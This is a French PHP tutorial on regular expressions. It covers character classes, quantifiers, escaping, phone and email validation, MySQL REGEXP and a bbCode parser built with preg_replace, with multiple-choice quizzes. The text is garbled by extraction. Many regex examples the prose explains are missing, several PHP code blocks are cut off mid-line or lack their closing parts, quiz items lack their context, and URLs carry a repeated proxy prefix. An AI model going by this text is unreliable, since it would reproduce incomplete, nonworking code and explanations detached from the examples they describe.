En plus, ca fonctionne aussi avec les chiffres : [0-9]. Si vous voulez plutôt un chiffre entre 1 et 8, tapez : [1-8]
Encore mieux ! Vous pouvez mettre 2 plages à la fois dans une classe : [a-z0-9]. Cela signifie "N'importe quelle lettre
(minuscule) OU un chiffre".
Bien entendu, vous pouvez aussi autoriser les majuscules, sans passer par les options comme on l'a fait tout à l'heure.
Ca donnerait : [a-zA-Z0-9].
[a-zA-Z0-9] est donc une façon plus courte d'écrire :
[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789] (j'espère que vous comprenez, parce que
j'ai pas envie de m'embêter à taper toutes les lettres de l'alphabet 50 fois si ça ne sert à rien )
Le dernier exemple est particulièrement intéressant car on se dirige doucement vers la pratique. On y vérifie
justement si la chaîne comporte une balise HTML de titre (<h1> ou <h2> etc... jusqu'à <h6>).
Si vous ne voulez PAS des caractères que vous énumérez dans votre classe, il va falloir mettre le symbole "^" à
l'intérieur.
Mais ?!
Je croyais que ce caractère servait à indiquer le début d'une chaîne ?
Oui, mais si vous le mettez à l'intérieur d'une classe, il sert à dire que vous ne VOULEZ PAS de ce qui se trouve à
l'intérieur de la classe.
Ainsi, la regex suivante :
... signifie que vous voulez que votre chaîne comporte au moins un caractère qui ne soit pas un chiffre.
Cette phrase contient autre chose que des chiffres #[^0-9]# VRAI
cette phrase contient autre chose que des majuscules et des chiffres #[^A-Z0-9]# VRAI
Cette phrase ne commence pas par une minuscule #^[^a-z]# VRAI
Cette phrase ne se termine pas par une voyelle #[^aeiouy]$# FAUX
ScrrmmmblllGnngngnngnMmmmmffff #[^aeiouy]# VRAI
Maintenant, faites une pause parce que ça va pas s'arranger par la suite
Les quantificateurs
Les quantificateurs, ce sont des symboles qui permettent de dire combien de fois peuvent se répéter un caractère, ou
une suite de caractères.
Par exemple, pour reconnaître une adresse e-mail comme [email protected], il va falloir dire : "Elle commence par une
ou plusieurs lettres, elle est suivi d'un @ (arobase), suivie de deux lettres au moins, suivi d'un point, et enfin de 2 à 4
lettres (pour le .fr, .com., mais aussi .info (ça existe !)).
Bon pour le moment notre but n'est pas d'écrire une regex qui permet de savoir si l'adresse e-mail rentrée par le
visiteur a la bonne forme (c'est encore trop tôt). Mais tout ça pour vous dire qu'il est indispensable en général
d'indiquer combien de fois une lettre peut se répéter !
? (point d'interrogation) : ce symbole indique que la lettre est facultative. Elle peut y être 0 ou 1 fois.
Ainsi, reconnaît 0 ou 1 "a".
+ (signe plus) : la lettre est obligatoire. Elle peut apparaître 1 ou plusieurs fois.
Ainsi, reconnaît "a", "aa", "aaa", "aaaa" etc...
* (étoile) : la lettre est facultative. Elle peut apparaître 0, 1 ou plusieurs fois.
Ainsi, reconnaît "a", "aa", "aaa", "aaaa" etc... Mais s'il n'y a pas de "a", ça fonctionne aussi !
Notez que ces symboles s'appliquent à la lettre se trouvant directement devant. On peut ainsi autoriser le mot
"chien" qu'il soit au singulier comme au pluriel, avec la regex (fonctionnera pour "chien" et "chiens").
Vous pouvez donc autoriser la répétition d'une lettre. Je viens de vous montrer le cas pour "chien". Mais on peut aussi
s'en servir pour une lettre au milieu du mot, comme ceci :
Ce code reconnaîtra "Ay", "Ayay", "Ayayay", "Ayayayay", "Ouïe Aïe Aïe" (non je rigole pour le dernier ).
... renverra vrai par exemple pour "Ayayayoyayayayoyoyoyoyayoy" ! C'est le "ay" OU le "oy" répété plusieurs fois, tout
simplement !
Autre bonne nouvelle, vous pouvez mettre un quantificateur après une classe de caractères (vous savez, avec les
crochets !). Ainsi
... permet de reconnaître n'importe quel nombre, du temps qu'il y a au moins un chiffre !
Les derniers exemples sont très intéressants. La regex ( ) signifie que la chaîne doit commencer et finir
par le mot "Yahoo". Il peut y avoir 1 "o" ou plusieurs. Ainsi "Yaho", "Yahoo", "Yahooo" etc marchent... Mais vous ne devez
rien mettre avant ni après car j'ai indiqué que c'était un début ET une fin de chaîne avec ^ et $
Enfin, la dernière regex autorise les mots "Bla", "Blabla", "Blablabla" etc... Je me suis servi des parenthèses pour
indiquer que "bla" peut être répété 0, 1 ou plusieurs fois.
Parfois on aimerait indiquer que la lettre peut être répétée 4 fois, ou de 4 à 6 fois... bref on aimerait être plus précis
sur le nombre de fois où ça se répète.
C'est là qu'entrent en jeu les accolades. Vous allez voir, si vous avez compris les derniers exemples ça va vous paraître
tout simple.
Il y a 3 façons d'utiliser les accolades :
{3} : si on met juste un nombre, cela veut dire que la lettre (ou le groupe de lettres s'il est entre parenthèses)
doit être répété 3 fois exactement.
fonctionne donc pour la chaîne "aaa".
{3,5} : ici, on a plusieurs possibilités. On peut avoir la lettre de 3 à 5 fois.
fonctionne pour "aaa", "aaaa", "aaaaa".
{3,} : si vous mettez une virgule, mais pas de 2ème nombre, ça veut dire qu'il peut y en avoir jusqu'à l'infini. Ici,
cela signifie "3 fois ou plus".
fonctionne pour "aaa", "aaaa", "aaaaa", "aaaaaa" etc... (je vais pas tous les écrire ça serait un peu
long )
Q.C.M.
Quelle fonction permet de faire une recherche dans une chaîne à l'aide d'une regex PCRE ?
preg_match
preg_grep
preg_quote
#[0-9]-[e-u]#
5-d
#3.u#
0-f
Laquelle de ces regex permettra de reconnaître un nombre à 4 chiffres (et 4 chiffres seulement) ?
#^[0-9]{4}$#
#^[0-9]+$#
#^[0-9]{4,}$#
Je souhaite une regex permettant de reconnaître un nombre compris entre -999 et 999. Peux-tu m'aider ?
#^-{1}[0-9]{1,3}$#
#^-*[0-9]{1,3}$#
#^-?[0-9]{1,3}$#
Et si je veux un nombre décimal positif inférieur à 1, avec autant de nombres après la virgule qu'on veut ? Par
exemple, "0,424059701" ?
#^0,[0-9]+$#
#^0,[0-9]*$#
#^[0-9],[0-9]{0,}$#
Correction !
Si vous êtes toujours vivant et que vous lisez ces lignes, c'est très bon signe !
Pour le moment les regex ne vous permettent pas encore de faire quelque chose de très utile, mais dans le prochain
chapitre on va enfin les utiliser pour du concret.
Prenez votre temps, et ne passez pas au chapitre suivant avant d'être certains d'avoir tout compris et retenu, et d'avoir
20/20 au Q.C.M., sinon vous allez vous planter en beauté
Plus d'informations
Voici donc la suite (et fin) de notre aventure avec les expressions régulières
Le mot d'ordre de ce chapitre est : pratiquer. Hormis quelques points que nous allons aborder au début, vous savez le
principal sur les regex mais il vous manque le plus important : la pratique !
Dans la seconde moitié de ce chapitre, nous allons donc construire ensemble des Regex, pour que vous voyiez comment
il faut procéder pour arriver enfin à écrire cette $%@#$#% de Regex
Ecrire un bout de Regex comme on l'a fait jusqu'ici, c'est une chose, mais créer une Regex complète vous allez voir que
c'est une toute autre paire de manches
Sommaire du chapitre :
Dans le langage PCRE (des Regex), les métacaractères qu'il faut connaître sont les suivants :
#!^$()[]{}?+*.\|
Ces caractères-là, il faut bien les retenir. Pour la plupart d'entre eux, vous les connaissez déjà.
Ainsi, le dollar "$" est un caractère spécial parce qu'il permet d'indiquer une fin de chaîne.
De même pour l'accent circonflexe, le dièse, les parenthèses, les crochets, les accolades et les symboles "? + *" : nous
les avons tous utilisés dans le chapitre précédent, souvenez-vous.
Pour le point "." et l'antislash "\", vous ne les connaissez pas mais vous n'allez pas tarder à les apprendre.
Bon, ce sont des caractères spéciaux et chacun d'eux signifie quelque chose de précis. Et alors ?
Et alors, le problème vous tombe dessus le jour où vous voulez chercher par exemple "Quoi ?" dans une chaîne.
Comment écririez-vous la Regex ? Comme ça ?
Eh non surtout pas ! Le point d'interrogation, vous le savez, sert à dire que la lettre juste avant est facultative (elle
peut apparaître 0 ou 1 fois). Ici, l'espace devant le point d'interrogation serait donc facultatif, mais ce n'est pas ce
qu'on veut dire !
Alors, comment faire pour faire comprendre qu'on recherche "Quoi ?" alors que le point d'interrogation a déjà une
signification ?
Il va falloir l'échapper. Cela signifie que vous devez mettre en fait un antislash "\" devant un caractère spécial. Ainsi,
la bonne regex serait :
Ici, l'antislash sert à dire que le point d'interrogation juste après n'est pas un symbole spécial, mais bel et bien une
lettre comme une autre !
C'est la même chose pour tous les autres métacaractères que je vous ai montré plus haut (# ! ^ $ ( ) [ ] { } ? + *
. \) : il faut mettre un antislash devant si vous voulez les utiliser dans votre recherche.
Vous remarquerez que pour utiliser un antislash il faut mettre... un antislash devant ! Comme ceci : \\
Dans le second exemple, j'ai bien pensé à échapper le point d'interrogation, mais j'ai oublié le point d'exclamation, ce
qui a produit une erreur.
La bonne regex aurait été :
Vous m'excuserez si j'ai dérapé sur ce sous-titre, mais je vous mets au défi quand même d'arriver à dire 10 fois très
rapidement "Le cas des classes" sans erreur
Il reste une dernière petite chose à voir (encore un cas particulier) : c'est à propos des classes de caractères.
Jusqu'ici, vous avez mis des lettres et des chiffres entre les crochets, par exemple :
Oui mais, vous vous en doutez, vous avez le droit de mettre d'autres caractères, comme les accents (mais dans ce cas
Jusque-là, tout va bien. Mais si vous voulez lister aussi des caractères spéciaux mmh ? Par exemple un point
d'interrogation (au hasard :p). Eh bien là, ça ne compte pas ! Pas besoin de l'échapper, à l'intérieur de crochets les
métacaractères... ne comptent plus !
Ainsi, cette regex marche très bien :
Elle signifie qu'on a le droit de mettre une lettre, un point d'interrogation, un signe + etc...
"#" (dièse) : il sert toujours à indiquer la fin de la Regex. Vous DEVEZ mettre un antislash devant même dans
une classe de caractères pour l'utiliser.
"]" (crochet fermant) : normalement, le crochet fermant indique la fin de la classe. Si vous voulez vous en servir
comme d'un caractère que vous recherchez, il faut là aussi mettre un antislash devant.
"-" (tiret) : encore un cas un peu particulier. Le tiret, vous le savez, sert à définir un intervalle de classe
(comme [a-z]). Et si vous voulez mettre le tiret dans la liste des caractères possibles ? Eh bien il suffit de le
mettre soit au début de la classe, soit à la fin. Par exemple : [a-z0-9-] permet de chercher une lettre, un
chiffre, ou un tiret.
Oh rassurez-vous, ça ne sera pas long et vous ne sentirez aucune douleur (à ce stade, on ne ressent plus la douleur de
toute façon )
Je souhaite juste vous montrer ce qu'on appelle les classes abrégées, et que moi j'appelle les raccourcis (ce mot me
parle un peu plus).
Certains de ces raccourcis ne vous seront pas indispensables, mais comme vous risquez de les rencontrer un jour ou
l'autre, je ne voudrais pas que vous soyiez surpris et que vous croyiez que je vous ai caché des choses
Raccourci Signification
\d Indique un chiffre. Ca revient exactement à taper [0-9]
\D Indique ce qui n'est PAS un chiffre. Ca revient à taper [^0-9]
\w Indique un mot. Cela correspond à taper [a-zA-Z0-9_]
\W Indique ce qui n'est PAS un mot. Si vous avez suivi, ça revient à taper [^a-zA-Z0-9_]
\t Indique une tabulation
\n Indique une nouvelle ligne
\r Indique un retour chariot
\s Indique un espace blanc (correspond à \t \n \r)
\S Indique ce qui n'est PAS un espace blanc (\t \n \r)
. Le point indique n'importe quel caractère ! Il autorise donc tout !
Il s'agit de lettres normales, mais quand on met un antislash devant, on leur donne une signification spéciale.
C'est l'inverse de ce qu'on faisait tout à l'heure : on mettait un antislash devant les métacaractères pour leur enlever
leur signification spéciale.
Pour le point, il existe une exception : il indique tout sauf les Entrées (\n).
Pour faire en sorte que le point indique tout, même les entrées, vous devrez utiliser l'option "s". Exemple :
Un numéro de téléphone
Pour cette première vraie Regex, nous allons essayer de voir si une variable (rentrée par un visiteur via un formulaire
par exemple) correspond bien à un numéro de téléphone.
Je vais me baser sur les numéros de téléphone français, alors il faudra m'excuser si vous n'êtes pas français et que vous
ne connaissez pas. L'avantage, c'est que vous pourrez ensuite vous exercer à écrire cette Regex pour les numéros de
téléphone de votre pays
Pour rappel (et pour ceux qui ne savent pas donc), un numéro de téléphone français comporte 10 chiffres. Par exemple
: "01 53 78 99 99". Il faut respecter les règles suivantes :
Pour commencer, et pour faire simple, on va supposer que l'utilisateur rentre le numéro de téléphone sans mettre
d'espace ni quoi que ce soit (mais on complique juste après, et vous verrez que c'est là le véritable intérêt des Regex).
Ainsi, le numéro de téléphone doit ressembler à ça : "0153789999". Comment écrire une Regex qui corresponde à un
numéro de téléphone comme celui-ci ?
1. Primo, on veut qu'il y ait UNIQUEMENT le numéro de téléphone. On va donc commencer par mettre les symboles
^ et $ pour indiquer un début et une fin de chaîne :
3. Le 0 est suivi par un nombre allant de 1 à 6, sans oublier le 8 pour les numéros spéciaux. Il faut donc utiliser la
classe [1-68], qui signifie "Un nombre de 1 à 6 OU le 8"
4. Ensuite, viennent les 8 chiffres restants, pouvant aller de 0 à 9. Il nous suffit donc d'écrire [0-9]{8} pour indiquer
que l'on veut 8 chiffres. Au final, ça nous donne cette Regex :
Et c'est tout !
Bon, je vois que vous êtes en forme, alors ne nous arrêtons pas en si bon chemin et améliorons cette Regex
Maintenant, on va supposer que la personne peut taper un espace tous les 2 chiffres (comme c'est courant de le faire
en France), mais aussi un point ou un tiret. Notre Regex devra donc accepter les numéros de téléphone suivants :
0153789999
01 53 78 99 99
01-53-78-99-99
01.53.78.99.99
0153 78 99 99
0153.78 99-99
etc...
2. Après ces 2 premiers chiffres, il peut y avoir soit un espace, soit un tiret, soit un point, soit rien du tout (si les
chiffres sont attachés). On va donc utiliser la classe [-. ] (tiret, point, espace).
N'oubliez pas : il faut mettre le tiret soit au début de la classe, soit à la fin. Sinon, c'est plantage
assuré
Mais comment faire pour dire que le point (ou le tiret, ou l'espace) n'est pas obligatoire ? Avec le point
d'interrogation bien sûr !
Ca nous donne :
3. Après le premier tiret (ou point, ou espace, ou rien), on a les 2 chiffres suivants. On doit donc rajouter [0-9] à
notre Regex.
4. Et maintenant réfléchissez. Il y a moyen de terminer rapidement : on a juste besoin de dire que "[-. ]?[0-9]{2}"
doit être répété 4 fois, et notre Regex est terminée ! On va se servir des parenthèses pour entourer tout ça, et
mettre un {4} juste après pour indiquer que tout ça doit se répéter 4 fois. Ce qui nous fait finalement :
Vous pouvez l'encadrer en gros en poster dans votre chambre : c'est votre première VRAIE Regex !!!
Voici un petit script que j'ai fait rapidement, pour que vous puissiez tester toute la puissance des Regex :
Code : PHP
<p>
<?php
if (isset($_POST['telephone']))
{
$_POST['telephone'] = htmlspecialchars($_POST['telephone']); // On rend inoffensives les balis
HTML que le visiteur a pu rentrer
<form method="post">
<p>
<label for="telephone">Votre téléphone ?</label> <input id="telephone" name="telephone"
<input type="submit" value="Vérifier le numéro" />
</p>
</form>
Essayer !
Vous pouvez essayer tous les numéros de téléphone que vous voulez, avec des espaces au milieu, ou pas si ça vous
chante : la Regex est infaillible
Vous auriez pu aussi utiliser le raccourci \d pour indiquer un chiffre dans votre Regex :
Personnellement, je trouve que mettre [0-9] est quand même plus clair
Alors, avant de commencer quoi que ce soit, et pour qu'on soit bien d'accord, je vais rappeler comment est construite
une adresse e-mail :
1. On a tout d'abord le pseudonyme (au minimum une lettre, mais c'est plutôt rare). Il peut y avoir des lettres
minuscules (pas de majuscules), des chiffres, des points, des tirets et des underscores "_".
2. Il y a ensuite un arobase : @
3. Ensuite il y a le nom du fournisseur d'accès. Pour ce nom, c'est pareil que pour le pseudonyme : que des
minuscles, des chiffres, des tirets, des points et des underscores. La seule différence, vous ne pouviez pas
forcément deviner, c'est qu'il y a au moins 2 caractères (par exemple, "a.com" n'existe pas, mais "aa.com" oui).
4. Enfin, il y a l'extension (comme ".fr"). Cette extension comporte un point, suivi de 2 à 4 lettres (minuscules). En
effet, il y a ".es", ".de", mais aussi ".com", ".net", ."org", ".info" etc...
Construisons la Regex :
1. Primo, comme tout à l'heure, on ne veut QUE l'adresse e-mail, donc on va demander à ce que ça soit un début
et une fin de chaîne :
2. Ensuite, on a des lettres, chiffres, tirets, points, underscores, au moins une fois. On utilise donc la classe
[a-z0-9._-] à la suite de laquelle on rajoute le signe + pour demander à ce qu'il y en ait au moins un :
3. Vient ensuite l'arobace (là c'est pas compliqué, on a juste à taper le caractère) :
4. Puis, encore une suite de lettres, chiffres, points, tirets au moins 2 fois. On tape donc {2,} pour dire "2 fois ou
plus" :
5. Ensuite vient le point (de ".fr" par exemple). Comme je vous l'ai dit plus haut, c'est un caractère spécial qui sert
à indiquer "n'importe quel caractère" (même des accents). Or, ici, on veut enlever sa signification au point pour
dire que l'on veut le symbole point dans notre Regex. On va donc mettre un antislash devant :
6. Enfin, pour terminer, il nous faut 2 à 4 lettres. Ce sont forcément des lettres minuscules, et cette fois pas de
chiffres ou de tiret etc... On écrit donc :
Allez, je suis en forme et de bonne humeur, je vous donne le script PHP pour tester cette Regex :
Code : PHP
<p>
<?php
if (isset($_POST['mail']))
{
$_POST['mail'] = htmlspecialchars($_POST['mail']); // On rend inoffensives les
balises HTML que le visiteur a pu rentrer
if (preg_match("#^[a-z0-9._-]+@[a-z0-9._-]{2,}\.
[a-z]{2,4}$#", $_POST['mail']))
{
echo 'L\'adresse ' . $_POST['mail'] . ' est <strong>valide</strong> !';
}
else
{
echo 'L\'adresse ' . $_POST['mail'] . ' n\'est pas valide, recommencez
!';
}
}
?>
</p>
<form method="post">
<p>
<label for="mail">Votre mail ?</label> <input id="mail" name="mail" /><br />
<input type="submit" value="Vérifier le mail" />
</p>
</form>
Essayer !
[email protected]
[email protected]
[email protected]
etc etc...
Mais bon, vous voyez le progrès ?! On vient ensemble d'écrire un de ces fameux trucs imbuvables, et je ne pense pas
que beaucoup d'entre vous pensaient y arriver en lisant le chapitre précédent !
Pourtant nous y voilà, nous avons réussi à écrire 2 Regex complètes. Je ne vais pas vous faire travailler sur une
troisième, vous avez je pense compris le principe et vous savez vous débrouiller comme des grands
Je veux juste vous montrer une dernière petite chose avant de passer à la dernière notion importante que nous
aborderons (Capture et remplacement).
Comme quoi, vous allez vraiment être heureux d'en avoir un peu bavé pour arriver jusqu'ici
Eh oui, grrrande nouvelle : MySQL comprend les Regex !
Et ça, bah c'est tout bénèf pour vous : vous venez d'apprendre à écrire des Regex, vous n'avez presque rien de plus à
savoir pour vous en servir avec MySQL.
Il faut savoir cependant que MySQL ne comprend que les Regex en langage POSIX, et pas PCRE comme on a appris.
Salaud ! Tu nous as fait apprendre PCRE parce que c'est plus rapide, et on peut même pas s'en servir avec
MySQL ???
Alors, vous avez juste besoin de retenir ceci pour faire une Regex POSIX :
Il n'y a pas de délimiteur ni d'options. Votre Regex n'est donc pas entourée de dièses
Il n'y a pas de classes abrégées comme on l'a vu plus haut, donc pas de \d etc... En revanche, vous pouvez
toujours utiliser le point pour dire : "n'importe quel caractère".
Le mieux, bien entendu, c'est toujours un bon exemple. Supposons que vous avez stocké les IP de vos visiteurs dans
une table "visiteurs" et que vous voulez les noms des visiteurs dont l'ip commence par "84.254" (vous obtiendrez
normalement uniquement des personnes qui sont chez Free) :
Cela signifie : Sélectionne tous les noms de la table visiteurs où l'ip commence par "84.254" et se termine par 2
autres nombres de 1 à 3 chiffres (ex : 84.254.6.177).
Toute la puissance des Regex dans une requête MySQL pour faire une recherche très précise... Ca ne se refuse pas
Je ne m'étends pas plus dessus, je sais que vous saurez vous débrouiller si jamais cela vous est utile.
Passons maintenant à la dernière notion importante avec les Regex : "Capture et remplacement" !
Capture et remplacement
Je vous avais dit au début de ces 2 chapitres consacrés aux Regex qu'elles servaient à faire une recherche puissante (ça
on vient de le voir, à travers l'exemple du téléphone et du mail), mais aussi à faire une recherche / remplacement.
Cela va nous permettre par exemple de faire la chose suivante :
1. Chercher s'il y a des adresses e-mail dans un message laissé par un visiteur.
2. Modifier automatiquement son message pour mettre un lien <a href="mailto:[email protected]"> devant chaque
adresse, ce qui rendra les e-mails cliquables !
Avec cette technique, on peut faire pareil pour rendre les liens http:// automatiquement cliquables eux aussi. On peut
aussi, vous allez voir, créer notre propre langage simplifié pour le visiteur, comme le fameux bbCode utilisé sur la
plupart des forums ([b][/b] pour mettre en gras, ça vous dit quelque chose ? ;))
Tout ce que nous allons voir maintenant tourne autour des parenthèses.
Vous vous êtes déjà servi des parenthèses pour entourer une partie de votre Regex et dire qu'elle devait se répéter 4
fois par exemple (comme on l'a fait pour le numéro de téléphone).
Eh bien ça, c'est la première utilité des parenthèses, mais elles peuvent aussi servir à autre chose !
Ce qu'il faut savoir, c'est qu'à chaque fois que vous mettez des parenthèses, ça va créer une "variable" contenant ce
qu'elles entourent.
Je m'explique avec une Regex :
Vous ne devriez pas avoir trop de mal à la déchiffrer : elle signifie "Chercher dans la chaîne un [b], suivi d'un ou
plusieurs caractères (le point permet de dire "n'importe lesquels"), suivis d'un [/b]".
J'ai été obligé de mettre des antislash "\" devant les crochets pour ne pas que PHP les confonde avec des
classes de caractères (comme [a-z])
Normalement, si vous réfléchissez 2 secondes, vous devez vous dire que les parenthèses ne sont pas obligatoires ici. Et
c'est vrai, que pour faire juste une recherche, les parenthèses sont inutiles.
Mais pour faire un remplacement, ça va être très pratique !
En effet, retenez bien ceci : à chaque fois qu'il y a une parenthèse, cela crée une variable appelée $1 (pour la première
parenthèse), $2 pour la seconde etc...
On va se servir ensuite de ces variables pour modifier la chaîne (faire un remplacement).
Sur la Regex que je vous ai montrée plus haut, il y a une seule parenthèse vous êtes d'accord ? Donc, il y aura juste une
variable $1, qui contiendra ce qui se trouve entre le [b] et le [/b]. Et grâce à ça, on sait ce qu'on va mettre en gras
Bon, la théorie de tout ça est délicate à expliquer, alors je vais vous montrer de suite comment on fait pour mettre en
gras tous les mots compris entre des [b][/b] :
Code : PHP
<?php
$texte = preg_replace('#\[b\](.+)
\[/b\]#i', '<strong>$1</strong>', $texte);
?>
1. On lui donne en premier paramètre la Regex. Rien de particulier, comme vous pouvez le constater, à part qu'il
faut bien garder en tête que chaque parenthèse va créer une variable ($1, $2 etc...)
Ici, j'ai rajouté l'option "i" pour que le code fonctionne aussi avec des majuscules ([B][/B])
2. Ensuite, et c'est là qu'est la nouveauté, on indique le texte de remplacement : "<strong>$1</strong>" (je vous
rappelle que <strong> permet de mettre en gras en HTML).
Entre les balises HTML, j'ai mis $1. Cela signifie que ce qui se trouve dans la parenthèse capturante (entre [b]
et [/b]) sera mis entre les balises <strong> à la place !
3. Enfin, dernier paramètre, c'est le texte dans lequel on fait notre recherche / remplacement (ça vous connaissez
déjà).
La fonction preg_replace renvoie le résultat après avoir fait les remplacements (ce qui explique pourquoi on fait
"$texte = preg_replace();").
Si vous avez plusieurs parenthèses, pour savoir le numéro d'une parenthèse il suffit de les compter dans l'ordre
de gauche à droite. Par exemple :
Il y a 4 parenthèses dans cette regex (donc $1, $2, $3 et $4). La parenthèse numéro 3 ($3) contient
"tutionnelle", et la parenthèse $4 contient "tion"
N'oubliez pas que c'est l'ordre dans lequel les parenthèses sont ouvertes qui est important.
Vous pouvez utiliser jusqu'à 99 parenthèses capturantes dans une Regex (ça vous laisse de la marge ). Ca va
donc jusqu'à $99
Une variable $0 est toujours créée, elle contient toute la Regex. Sur le même exemple que tout à l'heure :
La seconde parenthèse n'est pas capturante. Il ne nous reste que 3 variables (4 si on compte $0) :
1. $0 : anticonstitutionnellement
2. $1 : anti
3. $2 : tutionnelle
4. $3 : tion
Voilà si vous avez compris ça, vous avez tout compris, bravo !
Et nous ferons en sorte de remplacer aussi automatiquement les URL (http://) par des liens cliquables
Voici donc le code correct pour mettre en gras et italique avec le bbCode :
Code : PHP
<?php
$texte = preg_replace('#\[b\](.+)
\[/b\]#isU', '<strong>$1</strong>', $texte);
$texte = preg_replace('#\[i\](.+)\[/i\]#isU', '<em>$1</em>', $texte);
?>
Comme vous pouvez le voir, c'est quasiment pareil pour [b] et [i] (à part que la balise HTML qu'on utilise est <em>).
Donc là, si vous avez suivi jusqu'ici, ça ne doit pas trop vous surprendre.
Passons maintenant à un cas un peu plus complexe : celui de la balise [color=truc]. On va laisser le choix entre
plusieurs couleurs avec le symbole "|" (OU), et on va utiliser 2 parenthèses capturantes :
1. La première pour récupérer la couleur qui a été choisie (en anglais, comme ça on n'aura pas besoin de le
changer pour le code HTML).
2. La seconde pour récupérer le texte entre [color=truc] et [/color] (pareil que pour gras et italique quoi)
Voici le résultat :
Code : PHP
<?php
$texte = preg_replace('#\[color=(red|green|blue|yellow|purple|olive)
\](.+)\[/color\]#isU', '<span style="color:$1">$2</span>', $texte);
?>
Ainsi, si on tape [color=blue]texte[/color], ça écrira texte en bleu. Vous pouvez essayer avec les autres couleurs aussi !
Voici le résultat :
Code : PHP
<?php
$texte = preg_replace('#http://[a-z0-9._/-]+#i', '<a
href="$0">$0</a>', $texte);
?>
Dans le texte de remplacement, j'ai utilisé $0 qui, si vous vous souvenez bien, prend tout le texte reconnu par
la Regex (donc ici toute l'url).
Il n'y a pas les options "s" et "U" car on ne fait jamais de retour à la ligne au milieu d'une URL et, le mode "Ungreedy"
ne sert pas ici (essayez avec U, vous verrez que le lien s'arrête à la première lettre !)
Vous remarquerez que j'ai fait simple pour cette Regex. C'est vrai, j'aurais pu la faire plus complexe et plus précise,
mais je n'ai pas envie de vous embrouiller avec ça, et surtout je veux que vous l'amélioriez vous-mêmes.
En effet, la Regex marche très bien pour http://www.siteduzero.com/images/super_image2.jpg, mais elle ne marche
pas s'il y a des variables en paramètres dans l'url, comme par exemple :
http://www.siteduzero.com/index.php?page=3&skin=blue
Vous savez quoi ? Vous avez peut-être mal à la tête, mais moi mal à la tête ET mal aux doigts !
Mais je vais fournir un dernier effort allez, appelez ça "Le cadeau bonus de Mateo"
Code : PHP
<?php
if (isset($_POST['texte']))
{
$texte = stripslashes($_POST['texte']); // On enlève les slash qui se seraient ajoutés aut
$texte = htmlspecialchars($texte); // On rend inoffensives les balises HTML que le visiteu
$texte = nl2br($texte); // On crée des <br /> pour conserver les retours à la ligne
<p>
Bienvenue dans le parser du Site du Zér0 !<br />
Nous avons écrit ce parser ensemble, j'espère que vous saurez apprécier de voir que tout c
</p>
<blockquote style="font-size:0.8em">
<p>
Je suis un gros [b]Zér0[/b], et pourtant j'ai [i]tout appris[/i] sur http://www.siteduzero
Je vous [b][color=green]recommande[/color][/b] d'aller sur ce site, vous pourrez apprendre
</p>
</blockquote>
<form method="post">
<p>
<label for="texte">Votre message ?</label><br />
<textarea id="texte" name="texte" cols="50" rows="8"></textarea><br />
<input type="submit" value="Montre-moi toute la puissance des Regex" />
</p>
</form>
Essayer !
Pfiou !
Eh bah si avec ça vous me pondez pas un super site de la mort qui tue, je peux plus rien pour vous
Avant de terminer, comme j'ai peur que vous vous ennuyiez, je vous donne quelques idées de Regex que vous pourriez
rajouter au parser :
Je vous l'ai déjà dit plus haut, mais il serait très appréciable que les URL cliquables fonctionnent aussi pour des
URL avec des variables comme :
http://www.siteduzero.com/index.php?page=3&skin=blue
Vous devriez aussi parser les adresses e-mail, en faisant un lien "mailto:" dessus !
Il serait bien de compléter le bbCode avec [u], [img] etc...
Mais puisqu'on y est, pourquoi refaire du bbCode ? Après tout, si vous êtes allergiques aux crochets, que pour
vous [b] ne veut rien dire, vous n'avez qu'à inventer le code : {gras} {/gras}
Et, si faire des Regex vous plaît, je peux vous proposer un dernier défi qui devrait vous occuper un petit
moment : écrire une fonction qui colore automatiquement le code HTML !
Vous donnez à la fonction le code HTML, elle en fait un htmlspecialchars, puis elle rajoute des <span
style="color:..."> pour colorer par exemple en bleu les noms des balises, en vert les attributs, en rouge ce qui
est entre guillemets etc etc...
Bon courage !
Q.C.M.
#[1-5a-e:-.]+#
Quelle est l'option qui permet de faire en sorte que le point compte aussi les Entrées (\n) ?
[0-9]
[^a-zA-Z0-9_]
[a-zA-Z0-9]
Laquelle de ces Regex va permettre de reconnaître un mot de passe de 4 à 8 lettres, acceptant uniquement
des minuscules, des chiffres et des tirets mais à condition que le mot de passe commence et se termine par une lettre
? (niark, je suis diabolique )
#^[a-z][-a-z0-9]{2,6}[a-z]$#
#^[-a-z0-9]{8}$#
#^[a-z]?[a-z0-9-]{4,8}[a-z]?$#
un
Zér
un Zér
Quelle Regex capturera les dates au format international AAAA-MM-JJ pour obtenir 3 variables $1, $2 et $3 qui
serviront ensuite à transformer la date au format français JJ/MM/AAAA ? Petite difficulté : il faut aussi accepter les
années à 2 chiffres (AA-MM-JJ doit marcher !)
#([0-9]{2}(?:[0-9]{2})?)-([0-9]{2})-([0-9]{2})#
#([0-9]{2,4})-([0-9]{2})-([0-9]{2})#
#([0-9]{2}([0-9]{2})*)(-[0-9]{2}){2}#
Correction !
Après des chapitres comme ceux-ci, je pense que ce petit cadeau vous fera le plus grand bien.
Je n'ai pas grand chose à ajouter, si ce n'est que je suis exténué mais heureux, parce que c'était vraiment ce que j'avais
de plus difficile et tordu à vous enseigner
Codez proprement
Plus d'informations
Ceux qui effectuent leur travail rapidement, mais ne se soucient pas de la qualité, de la lisibilité, et de
l'évolutivité de leur code.
Ceux qui prennent le courage de soigner un peu leur travail, car ils ont conscience que ce petit travail
supplémentaire sera un gain de temps énorme à l'avenir.
Cette annexe est en fait une suite de petits conseils apparemment peu importants, sur lesquels je voudrais que vous
portiez toute votre attention.
C'est peu de choses, et c'est pourtant ce genre de chose qui fait la distinction entre un "bon" programmeur et euh... Un
programmeur du Dimanche
Sommaire du chapitre :
Les variables
Les fonctions
L'idée est simple : il faut que vous fassiez l'effort de choisir des noms de variables et de fonctions clairs et
compréhensibles.
